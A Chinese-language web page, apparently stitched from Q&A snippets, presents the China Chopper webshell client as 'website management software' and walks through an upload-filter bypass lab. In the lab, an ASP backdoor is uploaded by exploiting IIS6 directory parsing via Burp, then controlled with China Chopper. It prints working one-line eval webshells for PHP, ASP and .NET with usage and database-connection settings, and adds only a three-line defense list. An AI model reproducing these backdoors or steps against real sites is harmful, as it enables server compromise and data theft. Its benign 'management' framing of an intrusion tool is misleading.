本文目录一览：
中国菜刀是什么软件
中国菜刀是一款专业的网站管理软件，用途广泛，使用方便，小巧实用。
只要支持动态脚本的网站[如php/jsp/aspx/asp/cfm/ruby/cgi/python/perl等等]，都可以用中国菜刀来进行管理！
常用功能：
文件管理，虚拟终端，数据库管理。
其它功能：
WEB浏览器(POST浏览/自定义COOKIE浏览/自定义JS)
网站爬行(自动保存目录结构)
网站安全扫描。
在非简体中文环境下使用，自动切换到英文界面。
目录路径检测解析绕过上传漏洞 什么意思
上传正常图片和WEBShell
准备一张普通的图片，使用*.jpg在电脑上进行搜索，可以看到很多图片，复制一张图片放到桌面上，改名为tupian.jpg。
打开上传地址，选取上传图片。
小i提示：
上传地址就是可以上传文件的地方
本次实验用的测试网址作为目标网站
上传成功后，观察返回的页面信息
小i提示:
观察红字部分（上传是否成功，成功为 Upload Successful ，失败这一行会显示失败信息）
观察蓝字部分（上传成功后文件的路径），它的名字是时间戳（通常是一个数字序列，唯一地标识某一刻的时间）加自己的尾缀
准备的是ASP环境,需要使用ASP的一句话，接着来制作一句话，新建一个空文本文档，将ASP的一句话写入到文本中,修改文件名为yijuhua.ASP并保存到桌面。
小i提示：
一句话是一种常见的网站后门，短小精悍,而且功能强大，隐蔽性非常好，在渗透测试过程中始终扮演着强大的作用。
不同的环境需要选取与环境匹配的一句话，一句话中%eval request[‘这里是密码’]%，本例中我们以
1 为密码。
上传ASP文件，发现提示错误信息：White List Match Failed--asp ,可能服务器端禁止了尾缀asp的文件上传。
2
利用IIS6解析缺陷绕过上传检测
首先打开BurpLoader，选择 Proxy-Options ，设置BurpLoader代理地址，默认为127.0.0.1、端口：8080。
接着修改Firefox的代理设置，修改代理地址以及端口（设置与在BurpLoader中设置的代理地址相同：127.0.0.1、端口：8080）。
小i提示：
不同浏览器设置代理的方法不相同， 但是设置位置基本类似，此处我们以火狐浏览器为例，首先点击右上角的工具-选项-网络-设置-手动配置代理，填入BurpLoader中设置的代理地址。
设置好浏览器代理后，我们再打开BurpLoader抓包，暂时截获浏览器给服务器发送的数据包，Proxy-Intercept 点击
intercept off 改为intercept on，截获的数据包将在关闭抓包的时候发送给服务端。
查看数据包：其中Content-Disposition:form-data;name=”path”下面的一行为服务保存文件的相对路径，我们把原本的
uploading/ 改为 uploadimg/1.asp;。
小i知识点:
本例用了IIS6.0目录路径检测解析，文件的名字为“*.asp/xxx.jpg”，也同样会被 IIS 当作 ASP文件来解析并执行
首先我们请求 /aaa.asp/xxxx.jpg
从头部查找查找 "."号,获得 .asp/xxxx.jpg
查找"/",如果有则内存截断，所以/aaa.asp/xxxx.jpg会当做/aaa.asp进行解析
修改完成后，关闭抓包（点击intercept on -intercept off），上传数据,查看浏览器发现上传成功，复制File Name后面的信息（例如：1.asp;14127900008.asp ）；在前面添加上uploadimg/粘贴复制到网站地址后面，从而构造访问地址（例如：;14127900008.asp
），并复制访问地址。
3
获取WEBShell权限
打开中国菜刀软件并填入复制的访问地址，填入你设定的密码,之前我们在“一句话”中设置的密码是1，选择脚本类型为ASP，单击添加按钮，就会看到菜刀上出现一行信息，最后我们双击这条信息后，就可以看到目标网站的目录，这样我们就成功获取到目标网站的WEBShell权限。
小i 知识点：
中国菜刀，是一款专业的网站管理软件，用途广泛，使用方便，小巧实用。只要支持动态脚本的网站，都可以用中国菜刀与一句话协作来进行管理
这里可以看见我们刚刚上传的文件，其中有一个空文件夹1.asp;以及其它我们上传的文件。
4
防御方案
1.客户端检测，使用JS对上传图片检测，包括文件大小、文件扩展名、文件类型等
2.服务端检测，对文件大小、文件路径、文件扩展名、文件类型、文件内容检测，对文件重命名
3.其他限制，服务器端上传目录设置不可执行权限
中国菜刀的功能介绍：
只要支持动态脚本的网站，都可以用中国菜刀来进行管理！主要功能有：文件管理，虚拟终端，数据库管理。
UINCODE方式编译，支持多国语言输入显示。
一、EVAL客户端部分
1）要了解的
服务端只需要简单的一行代码，即可用此程序实现常用的管理功能。
支持的服务端脚本：PHP, ASP，NET。
在服务端运行的代码如下：
PHP: ?php @eval($_POST['pass']);?
ASP: %eval request(pass)%
.NET: %@ Page Language=Jscript%%eval(Request.Item[pass],unsafe);%
(注意: .NET要单独一个文件或此文件也是Jscript语言)
2）怎么用
在主视图中右键/添加，在弹出的对话框中输入服务端地址，连接的密码(请注意上例中的pass字串)，选择正确的脚本类型和语言编码，保存后即可使用文件管理，虚拟终端，数据库管理三大块功能。要是其它都没错误，那么可能就是你把语言编码选错了。
1. 文件管理：[特色]缓存下载目录，并支持离线查看缓存目录;
2.虚拟终端：[特色]人性化的设计，操作方便;(输入HELP查看更多用法)
3.数据库管理：[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS
以入支持ADO方式连接的数据库。
(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)
注意：由于服务器的安全设置，某些功能可能不能正常使用。
3) 关于配置信息怎么填？
A) 数据库方面：
PHP脚本：
T类型/T 类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种
H主机地址H 主机地址可为机器名或IP地址，如localhost
U数据库用户/U 连接数据库的用户名，如root
P数据库密码/P 连接数据库的密码，如123455
ASP和.NET脚本：
T类型/T 类型只能填ADO
CADO配置信息/C
ADO连接各种数据库的方式不一样。如MSSQL的配置信息为
Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456
B) 其它方面：
添加额外附加提交的数据：应付这种情况：if ($_POST['action']=='test'){@eval($_POST['pass']);}
Oaction=test/O
提交功能前先POST额外的数据包：会话期间只提交一次。
DATAuid=user1pwd=123456/DATA
二、网站蜘蛛
织出一张网站的目录结构。
下载的列表文件存在桌面，右键菜单/载入URL列表即可以根据地址得到目录结构。
三、定时提醒
当闹钟事使吧, 周期：每月/每周/每日/只一次。
四、快速启动
一些常用的快捷方式放在这里，可以指定用户身份运行程序。这部分数据是以加密存储的。
五、浏览器
地址栏输入HELP，更多精彩后续加入。
六、其它部分
等待加入。
附带工具
update.exe是wsc.exe的数据库wscdb迁移到菜刀的一个小工具。
把wscdb文件整到当前目录，运行update.exe得到新的数据库文件caidao.mdb
把菜刀的数据库db.mdb替换掉即可。
